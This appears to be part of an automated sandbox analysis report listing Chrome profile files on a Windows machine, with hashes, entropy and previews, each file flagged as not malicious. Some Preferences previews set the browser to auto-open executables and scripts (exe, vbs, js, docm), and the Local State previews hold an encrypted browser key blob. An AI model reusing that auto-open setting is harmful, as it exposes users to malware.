C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\5 0b0b0-f071-475e-a22f-

2b9d6f4c7f6c.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
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SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.971623449303805

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5p7DHJShsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHfHYhsBdLJlyH7E4f3K33y

MD5: 8CA9278965B437DFC789E755E4C61B82

SHA1: 5776B6C90CA1D2DDC765ED673B5E6DC8E167F0D6

SHA-256: A57D9231244C1FBDE58A1BF50CAD3A1E3EA28D042BFA272782B65139446E7C51

SHA-512: 3065FE0743AD88E02F8C8FF6CF03B832B616DD08061EAE25A5106422228D45EB999EE2CBE4E9C96D5FFC108CB817766240E27BF97E3E5C2A58081D369E2968F8

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516514667526","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.9616384877719995

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5pirhsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y

MD5: B0429187E1BE99DE4D548DC5B2EDEA0A

SHA1: B3E07BEE5D753BF1B613BD2DE665C7C21E8184F6

SHA-256: D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFED03

SHA-512: 233F7BDAA848A295E9F58CA52761829FE1044DA1DE1FBCAC407FADC8C7ABA1E4FFD7CA7A4FBE649E83FD1815DC2E3619ACB2A22CE5B2C7241E474CDB9AF2
F7ED

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\4b148a3c-b6d3-4f11-9c05-

b7cee60505f1.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 325

Entropy (8bit): 4.9616384877719995

Encrypted: false

SSDEEP: 6:YHpoNXR8+eq7JdV5pirhsDHF4R8HLJ2AVQBR70S7PMVKJw1K3KnMRK3VY:YHO8sdHirhsBdLJlyH7E4f3K33y

MD5: B0429187E1BE99DE4D548DC5B2EDEA0A

SHA1: B3E07BEE5D753BF1B613BD2DE665C7C21E8184F6

SHA-256: D8DABBF936DAB4F17437ECA255020EA847D76D6B789F9486010C95E995CFED03

SHA-512: 233F7BDAA848A295E9F58CA52761829FE1044DA1DE1FBCAC407FADC8C7ABA1E4FFD7CA7A4FBE649E83FD1815DC2E3619ACB2A22CE5B2C7241E474CDB9AF2
F7ED

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248516523181804","port":443,"protocol_str":"quic"}],"isol
ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 19795

Entropy (8bit): 5.56430478071921

Encrypted: false

SSDEEP: 384:VVhtfLlBGXd1kXqKf/pUZNCgVLH2HfDLrUoHG+FTL4t:rLlqd1kXqKf/pUZNCgVLH2HfHrUcG0L+

MD5: EFE5C06418B1EB90E77F46B714B3F7D6

SHA1: 7C8581775BE9047C4EDE5D440861CEF00530D2EA

SHA-256: EDE0B999A6D64ECBD00F9AF571A61B17C15814723F7E3D87DCE8C42E360C489E

SHA-512: BBC4550D8BB695F0B64D28D9A11EE7E99393A9AAC81234AA1203825086CD7916C12AA439E5F2B66169982DB0AB6DDE4682CF44D8DE836D0C7ADC341D7398D9
4B

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298039131538722","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4914

Entropy (8bit): 4.940697777402774

Encrypted: false

SSDEEP: 48:YcDkKSChkli8bqAOiqTlYGlQKHoTw09rf4MqM8C1Nfct/9BhUJo3KhmeSnpNGzFc:nzLiWt1pIKIX5k0JCKL8bbOTlVuHn

MD5: A8AC782AE2CEA6D58B11ED6063CADB0D

SHA1: 533CD11F35F53A0837DCA047E8C7BAB7B5712C16

SHA-256: 38EF905663B336A81ED12ADA4792B65923BE47F440B25D64F65C209FEE9E2432

SHA-512: 59997AE22E95E564B197E9377A71928F9117D2D382B10F926DD5A8CB134F41D8D0A321639CD0C269D2489117F91797DC85FA310213BC644D0436A8E394BD0D3B

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298039132434298","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"wor
k_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","
0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\a3afb513-5415-43b1-b86d-7dada47ecf07.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\afb83722-04dc-4eca-93d9-fe10b0cb3c8d.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cfb8b2e0-f802-4c5a-ab51-d1b7937b4d98.tmp
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File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 17703

Entropy (8bit): 5.577306713702835

Encrypted: false

SSDEEP: 384:VVhtfLlBGXd1kXqKf/pUZNCgVLH2HfDLrUCFJ6L466a:rLlqd1kXqKf/pUZNCgVLH2HfHrU7Lh6a

MD5: 0E1E82059369EBCC03CA7AFD6AADD318

SHA1: 5F43D0D96A2D12D64B7C05FFECB0F237AE88EB1C

SHA-256: 79D9A66BBD6A356554D3F796A7892812706AD8A4F0B488C0CB1A78F547519AC7

SHA-512: 6857155DDC61B4FC7F09FFA6B6774252AA2FC733D20BBFC9F07C991CF3B4025D8282FFB8FD32ABFD8DD7C90766AB234D67E9B8247AB54F45933219B346C6A66
7

Malicious: false

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298039131538722","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: modified

Size (bytes): 1812

Entropy (8bit): 4.843919835330201

Encrypted: false

SSDEEP: 48:Y2nzM3qyvKDHGXtwWsm6zsJzRS7sxRsJrMH8DYhbw:JnzMa+KDHGXOwJ0gqG8khM

MD5: 12A60561174708C10BFD1223811AED87

SHA1: 65E1133F96FD3F0294928442D848E13798EF6CFE

SHA-256: FFB0AFD0AF15C7440C28F85D19134BF2BD00CDA36FF9A0C75B1045FC212EE9A0

SHA-512: 6C7510F3E24B83C64B2DD082EAB53B19293E935AA82BF0EAEC9A32BAAC11C6C951EB51F83669733EF33F86E62AEA0ECA2B928D30072AF582110BA0C6EBFFC
3CE

Malicious: false

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","suppor
ts_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spd
y":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"serve
r":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.
com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"1330
0631133848188","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"alternative

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4914

Entropy (8bit): 4.939915034477624

Encrypted: false

SSDEEP: 48:YcDkKSChkli8MqAwiqTlYGlQKHoTw09rf4MqM8C1Nfct/9BhUJo3KhmeSnpNGzFc:nzLiRz1pIKIX5k0JCKL8bbOTlVuHn

MD5: 5098D21726883E4BD57E59331190E8EC

SHA1: 2ADC44AC9D38D351092140A338978F3BCAFE199E

SHA-256: B79011D0773BA7F1F66F24C14197B8897668209327A742E144A20C64CC743B19

SHA-512: 85A0AEAB1041C09BFD846B6144124E859BDB1B437D8F8744122882845BC855B73DCE03D910DE32282DC55179C8BF143E3DB0BBAE64726F26E2BA0A3BD24F711
5

Malicious: false

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298039132434298","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_res
et_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"wor
k_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","
0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d2d2882c-2463-49cb-8dd6-e32aaba9ce4c.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d96302d6-17a3-4ddc-ac08-5b405fc8b450.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp
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Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1: 58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E03
89

Malicious: false

Preview: MANIFEST-000004.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 106

Entropy (8bit): 3.138546519832722

Encrypted: false

SSDEEP: 3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l

MD5: DE9EF0C5BCC012A3A1131988DEE272D8

SHA1: FA9CCBDC969AC9E1474FCE773234B28D50951CD8

SHA-256: 3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

SHA-512: CEA946EBEADFE6BE65E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

Malicious: false

Preview: C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 13

Entropy (8bit): 2.8150724101159437

Encrypted: false

SSDEEP: 3:Yx7:4

MD5: C422F72BA41F662A919ED0B70E5C3289

SHA1: AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632

SHA-256: 02E71EB4C587FEB7EE00CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59

SHA-512: 86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC46

Malicious: false

Preview: 85.0.4183.121

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 198498

Entropy (8bit): 6.04559552904453

Encrypted: false

SSDEEP: 3072:jW1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:j8jTy8juX0o/74aqfIlUOoSiuRV

MD5: FA3734DDA7C8DCA758E7820B7E00F1A4

SHA1: 8A8EF303DF5ACCEE8E4E79177A33C364026F6E4F

SHA-256: 0F385A994DD1F0C41777A9376C17A0B831AE2C60F971CA2226264ED15A1B296E

SHA-512: 36A8AF5D2D993B6FD00101DC0B3866AB27F72E4A274965E0844F03A31BD88D4C57ADBCA9AB62832DBA5888030F77DE76445A0BA5884E1ACB05F913DD4783621
B

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 96052

Entropy (8bit): 3.751788902375526

Encrypted: false

SSDEEP: 384:Fz4HP1KUBuVZVW8LGNjr4v/V3IXtUH9MGUTre5T3xxrBpNorifmKOQ6l7bbUOJhY:tG6VVisM08ezX5BoHXO9K3VrpW

MD5: 807C648F64F13BA243982E8AFF219BA7

SHA1: 88EA6C14721AFE9FE83B6A282BF1067F31F0A7D0

SHA-256: 0F2B12CF3458EAC26AE3A275DA892778B89E383ECBACC8001F1FE9A59BF101A6

SHA-512: 1175C02AAEB3285E2ABEAAAF5F4242A3B04BF81F576E86617434D7C9CFC10B41A6779855B8D1ACA34884C4CD92F8E872E4FD1DD3F209240A1556E8CA3F66C70
5

Malicious: false

Preview: 0w..............*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L..P!...[)...%.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .o.f.f.i.c.e.\.o.f.f.i.c.e
.1.6.\.......g.r.o.o.v.e.e.x...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .2.0.1.6...*...M.i.c.r.o.s.o.f.t. .O.n.e.D.r.i.v.e. .f.o.r. .B.u.s.i.n.e.s.s. .E.x.t.e.n.s.i.o.n.s.....1.6...0...4.7.1.1...1.0
.0.0.....*...C.:.\.P.R.O.G.R.A.~.1.\.M.I.C.R.O.S.~.1.\.O.f.f.i.c.e.1.6.\.G.R.O.O.V.E.E.X...D.L.L.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...K]8.D...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o
.m.m.o.n. .F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.O.F.F.I.C.E.1.6.\.m.s.o.s.h.e.x.t...d.l.l..@.....U/...%.c.o.m.m.o.n.p.r.o.g.r.a.m.f.i.l.e.s.%.\.m.i.c.r.o.s.o.f.t. .s.h.a.r.e.d.\.o.f
.f.i.c.e.1.6.\.......m.s.o.s.h.e.x.t...d.l.l.....M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.)...M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e. .S.h.e.l.l. .E.x.t.e.n.s.i.o.n. .H.a.n.d.l.e.r.s.......1.6...0...4.2.6.6...1.0.0.1.....D...C
.:.\.P.r.o.g.r.a.m.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 198414

Entropy (8bit): 6.045442112969008

Encrypted: false

SSDEEP: 3072:pW1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:p8jTy8juX0o/74aqfIlUOoSiuRV

MD5: F264E0E7DF8EBED0B5C36CA61E944FC2

SHA1: 13085CCCB39E251B6FD0A84F47BDEE6FDE56018F

SHA-256: 6B6E34758C17A85A7B7E7DE23EC7986880EC0F118B9A9EE109B738E8F81368CB

SHA-512: 1D3C9DC23E58556483078B68035D4914C428A44BF402AB7544D8A401C0C10A5CE41F5E854EA0785308B22AF1CAB42E12F5FC762913FA09A251A5568247D61D25

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\bd861d2a-e3db-4aef-8c54-2cab224d3942.tmp
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 198145

Entropy (8bit): 6.0447817926493155

Encrypted: false

SSDEEP: 3072:ZW1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:Z8jTy8juX0o/74aqfIlUOoSiuRV

MD5: 96DBB812E882E2B05B3FA678FFEB4533

SHA1: FF5194AC5AA2E4B12BF43998AE57B1899DB6A321

SHA-256: DF61E9A449229B97084E70E737B6877B2A7E2A7B53D45B004474AA4DC3ECCA98

SHA-512: 5AF64F0855E3E36BB3FB2E1A38A0ABC68E3DCF8D7033C90C6CC34233B0B5D620B59E1527DB05D4B6705DD5CD83173BEA3D8EC53F8F0B3FE003C3A083927CD8
9A

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 198145

Entropy (8bit): 6.0447817926493155

Encrypted: false

SSDEEP: 3072:ZW1jWmyAACN987XrmMUKZcen/3Q1ydxSseFcbXafIB0u1GOJmA3iuRV:Z8jTy8juX0o/74aqfIlUOoSiuRV

MD5: 96DBB812E882E2B05B3FA678FFEB4533

SHA1: FF5194AC5AA2E4B12BF43998AE57B1899DB6A321

SHA-256: DF61E9A449229B97084E70E737B6877B2A7E2A7B53D45B004474AA4DC3ECCA98

SHA-512: 5AF64F0855E3E36BB3FB2E1A38A0ABC68E3DCF8D7033C90C6CC34233B0B5D620B59E1527DB05D4B6705DD5CD83173BEA3D8EC53F8F0B3FE003C3A083927CD8
9A

Malicious: false

Preview: {"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.653565533999428e+12,"network":1.653565535e+12,"ticks":108941870.0,"uncertainty":4166165.0}},"os_crypt":{"encry
pted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPq
IYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqp
s4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129547019"},"plugins":{"metadata":{"adobe-flash-player":{"d

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1765

